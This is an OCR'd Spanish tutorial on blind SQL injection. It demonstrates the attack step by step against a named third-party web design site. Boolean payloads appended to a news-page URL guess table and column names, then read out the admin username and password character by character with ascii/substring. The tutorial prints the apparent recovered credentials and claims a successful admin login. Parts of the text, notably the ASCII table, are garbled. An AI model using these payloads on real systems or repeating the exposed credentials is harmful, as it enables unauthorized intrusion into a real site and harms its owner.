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Introduccion

Blind SQLi o ataque a ciegas por SQLi es otro método o alternativa a la tradicional SQLI.

Es utilizada cuando la web no tira ningln tipo de error ya que los webmasters han quitado o
desactivado el SHOW_WARNINGS y SHOW_ERRORS, que son los encargados de imprimir errores
en pantalla cada vez que se hace una peticién errdonea a la base de datos.

Sin embargo, si podemos comprobar datos por medio de verdaderos o falsos; y a lo largo de este
paper, veremos a que nos referimos con esos verdaderos y falsos.

El nombre Blind SQLi o SQLi a ciegas, hace referencia a que los nombres de las tablas y demds
datos que saquemos, lo haremos adivinandolo ya que no mostrara ningun error en pantalla.

Para este paper usaremos la siguiente url como ejemplo: http://digitaria.net

_ Disefio Web y Posicionamiento Web. Servicios Web en Malaga.
Desarrollo Web, Programacion y Comercio Electrénico. Tiendas virtuales.

digitaria.net

I Diseilo Web Posicionamiento Web Comercio Electrénico Noticias Web Quienes Somos Contacto
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Noticias Web

Como se puede ver, es de alguien que disefia websites, vamos a ver qué tal es el servicio que
ofrece...

Verificaciones

Para saber si es o0 no vulnerable, debemos buscar algun sitio en donde haga peticiones a la base de
datos para poder inyectar. Yo probaré usando esto:

http://www.digitaria.net/noticia.php?id=25



http://digitaria.net/
http://www.digitaria.net/noticia.php?id=25
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Digitaria.Net ahora, también, en la Axarquia 23032010

En nuestro afan de prestar un mejor, mds cémodo y mds rapido servicio, hemos
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Para probar si la web es vulnerable o no, vamos a aplicar intentar ver si nos arroja esos verdaderos
o falsos de los que hablamos anteriormente.

Lo que debemos hacer es afiadirle a la url esto:

AND 1=1 - Verdadero
AND 1=0 - Falso

O sea que si tenemos la url: htt

Para el caso verdadero seria: http://www.digitaria.net/noticia.php?id=25 AND 1=1



http://www.digitaria.net/noticia.php?id=25
http://www.digitaria.net/noticia.php?id=25
http://www.digitaria.net/noticia.php?id=25

Veamos cémo afecta esto en la visualizacion de la pagina...

Verdadero:
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Como se puede ver, el caso falso no carga nada...

Existen otras cldusulas diferentes al AND como lo es el having

Verdadero = Having 1=1
Falso = Having 1=0

Entre otros... Pero nosotros usaremos el AND para no complicarnos tanto...



Inyecciones Blind

Ahora, vamos a buscar el nombre de alguna tabla de la cual podamos obtener datos que a
nosotros nos interesen. En este caso, yo quiero encontrar alguna tabla de usuarios o
administradores para poderme loguear.

A nuestra url le vamos a afiadir:
AND (SELECT(COUNT(*)) FROM usuarios);
Deberia quedar asi:

http://www.digitaria.net/noticia.php?id=25 AND (SELECT(COUNT(*)) FROM usuarios);

El COUNT sirve para realizar un contador con el nimero de filas que tenga una tabla.
Con esto haremos la consulta para saber si la tabla usuarios existe o no.
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Nuestro aval
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Falso... Debemos seguir probando, hasta que algun nombre que coloquemos sea verdadero.

Extraccion de datos

Después de probar varias veces, logré dar con el nombre de la tabla que tiene informacién valiosa.
El nombre de esta tabla es admin y como se ve en la imagen, me volvié a mostrar el contenido,
esto quiere decir que es Verdadero.
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Ahora veremos cuantos registros tiene esta tabla. O mejor dicho, cuantos usuarios admines tiene
esta pdgina. Para ello, modificaremos un poco lo que colocamos anteriormente por esto:

AND (SELECT(COUNT(*)) FROM admin) > 7
Esto quiere decir que hay mas de 7 admines.

AND (SELECT(COUNT(*)) FROM admin) < 7
Menos de 7 admines.

AND (SELECT(COUNT(*)) FROM admin) = 7
Hay 7 admines.

En mi caso me dio Verdadero el segundo caso... Hay menos de 7 admines.
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Podemos seguir probando bajando la cantidad, hasta que finalmente podamos adivinar cuantos
registros hay.

En este caso solo hay 1 solo admin. Si colocamos:

AND (SELECT(COUNT(*)) FROM admin) = 1
Dara Verdadero.

Lo que sigue ahora, es buscar los nombres de las columnas para ello inyectaremos lo siguiente:

AND (SELECT(COUNT(name)) FROM usuarios)

En donde “name” sera el nombre de la columna que intento adivinar
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Falso

Después de probar varias veces, llegue a que el nombre de una de las columnas se llama “user”
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Ahora, deberiamos seguir probando, hasta dar con el nombre de la columna de la tabla que
contiene las contrasenas, ids, entre otras que pueden ser de valor para nosotros...

Después de probar con varios nombres como password, passwords, clave, etc... llegué al punto en
que me dio verdadero al colocar “pass” y también al colocar “cod”

AND (SELECT(COUNT(pass)) FROM admin)
AND (SELECT(COUNT(cod)) FROM admin)

Hasta ahora ya tenemos el nombre de la tabla del admin, y el de la columna de id o cddigo,

usuario y contrasefia.

Ahora, veremos como saber que longitud tiene el usuario y la contrasefia, esto lo hacemos para

saber cudntos caracteres tiene el usery la pass.
Como sabemos que hay 1 solo admin, podemos probar poniendo esto:

AND (SELECT length(user) FROM admin where cod=1) < 7

La linea, Length sirve para saber la cantidad de caracteres que tiene, en este caso la columna user.
En donde el cod sea 1. Traducido de forma mas facil, lo que hace esta linea es ver si el usuario

tiene menos de 7 caracteres. Y en este caso me da falso...
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Probare cambiando el signo de lado

AND (SELECT length(user) FROM admin where cod=1) >7

Para saber si la contrasefia tiene mas de 7 caracteres, y nuevamente me da falso... esto quiere
decir solo una cosa... que la contrasefia tiene 7 caracteres. Asique probaré poniendo:

AND (SELECT length(user) FROM admin where cod=1) =7

Y como se puede ver, da verdadero.
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Con esto ya sabemos que el usuario tiene 7 caracteres. Ahora restaria ver cuantos caracteres tiene
la contrasefa...

La inyeccién es la misma que la que usamos, solo que modificamos user por pass
En mi caso, me dio verdadero que esta inyeccién:



AND (SELECT length(pass) FROM admin where cod=1) =7

Tanto el user como la pass tienen 7 caracteres.

Una vez obtenido todos estos datos, podemos pasar a adivinar los datos que contiene cada uno.

Para ello se utiliza la siguiente inyeccion.
AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=97

Ahora explico la linea, lo que hace esta inyeccion es verificar si la primer letra del usuario empieza
con “a”. ¢En dénde me fijo esto? En la siguiente tabla:

TABLA DE CARACTERES DEL CODIGO ASCII
10|254[491 |73 1| 97a| 121 y| 2145 2| 169 ~ | 193 £ | 217 4 | 241 +
20|26 50 2| 74 J| 98 b| 122 2| 146 £| 170 -~ | 194 218 242 >
3w |27 51 3|75 K| 99 c| 123 (| 147 6| 171 § | 195 219 i 243 <
4¢|28._|524|76]|200a 224 || 2485|272y |296 - |220 244
58|29« |535|77mM|101e| 125 )| 1495|173 7 |297 221 245 J
6 & [30a4]|546|78N|102¢f| 126 ~| 150 0| 174 « | 198 222 246 +
7 31 v|557| 790103 g| 127 | 151 0| 175 » | 199 223 247 =
8 32 56 8 | 80 p| 104 h| 128 ¢ | 152 ¢ [ 176 200 224 o | 248 °
9 33 1 |57 9| 81| 1053|129 a]| 1536|177 & |20 225 B | 249 .

10 34 » |58 : | 82 R| 106 §| 130 ¢ | 154 17 | 178 202 L [226 1 | 250
11 35 |59 ;| 83s|107 k| 1314a]|155¢| 179 203 = | 227 » | 251 J
12 [36 5|60 <|8s7|1081|1324(156¢|180] |204 | |228 5 |252 %
13 37 $ |61 = [ 85U | 109 m| 133 4| 157 ¥ | 181 { £ 205 = | 229 ¢ | 253 :
14 38 g |62 > |86 v| 110 n| 134 4| 158 g | 182 { § 206 §[230 & [254 -
15 39 ¢ (63 2 |87 W| 111 0| 135 ¢ [ 159 5 | 183 5 Y207 £ |231 1 [ 255
16 » |40 ( |64 @ | 88 x| 112 p| 136 & | 160 4 | 184 208 L ]232 ¢ |fRESIOMA
17 41 ) |65 o |89 y| 113 q| 137 & | 161 1 | 185 gzog ¥ (2330

18 ; |42 » |66 B |90 z|114 r| 138 2| 162 6 | 186 | ¥ 210 234 0
191 |43 + (67 ¢c |91 [|115s| 1239 5 [163 187 33211 [[235 5 1%
20 q |44 , |68 p |92 \ [ 116 £ | 140 1 | 164 7 | 188 13212 4 |236 = R
21 § [45 - |69 E|93 1 [117 u| 141 1 |165 R | 189 4 §213 ¢ |237 ¢ [“mmm.’
22 . |46 , |70 p |94 ~ [ 118 v | 142 A | 166 + | 190 4 V214 238 ¢
23 3 |47 s |71 ¢ |95 _[119 w| 143 A | 167 + | 191 215 239 n '/
26 + |48 0 |72 1 |96 V| 120 x [ 144 £ | 168 ¢ [ 102 | |216 240 =

Ahivemos que el 97 corresponde a la letra a.

Seguimos probando, hasta que nos dé Verdadero. Después de probar un rato, llegue a que
comienza con “G”.

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=71
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Para pasar al segundo caracter del usuario, debemos cambiar el, 1,1 por, 2,1.

Esto seria como decir, el segundo caracter del primer registro. En mi caso me dio verdadero al
probar con la letra “r”

AND ascii(substring((SELECT user FROM admin where cod=1),2,1))=114

Una vez que hayamos adivinado todos los caracteres que posee el usuario, hacemos lo mismo
pero con la contrasefia modificando el “user” por “pass” por ejemplo:

AND ascii(substring((SELECT pass FROM admin where cod=1),1,1))=103

Debemos ir probando caracter por cardcter, hasta volver a obtener todos.

Recuerden ir cambiando el, 1,1 por la posicion que desean comprobar.
Una vez que finalicen, tendrdn el usuario y la contrasefia. En mi caso:

User: Gregory
Pass: geg*122

Ahora si buscamos el panel de admin y probamos los datos:
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Y... Estamos dentro!!
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